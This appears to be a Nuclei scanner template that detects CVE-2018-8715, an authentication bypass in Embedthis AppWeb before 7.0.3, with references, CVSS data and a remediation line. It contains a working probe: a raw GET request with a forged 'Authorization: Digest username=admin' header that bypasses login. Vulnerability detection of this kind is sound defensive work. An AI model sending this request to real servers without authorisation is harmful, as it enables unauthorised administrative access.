id: CVE-2018-8715 info: name: AppWeb - Authentication Bypass author: milo2012 severity: high description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types. remediation: | Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb. reference: - https://github.com/embedthis/appweb/issues/610 - https://blogs.securiteam.com/index.php/archives/3676 - https://security.paloaltonetworks.com/CVE-2018-8715 - https://nvd.nist.gov/vuln/detail/CVE-2018-8715 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2018-8715 cwe-id: CWE-287 epss-score: 0.05837 epss-percentile: 0.92528 cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: embedthis product: appweb tags: cve,cve2018,appweb,auth-bypass http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Authorization: Digest username=admin matchers-condition: and matchers: - type: word part: body words: - '' - type: status status: - 200 # digest: 4b0a00483046022100d56c42d658a12cb6c44bb6a3d4546bfbd4eeffef3f3dbc4ff2d218ceefff69a20221009035fa0708f072c20a776170e626fd1176d3daa3e40b7e44e60ebe526e76f2a6:922c64590222798bb761d5b6d8e72950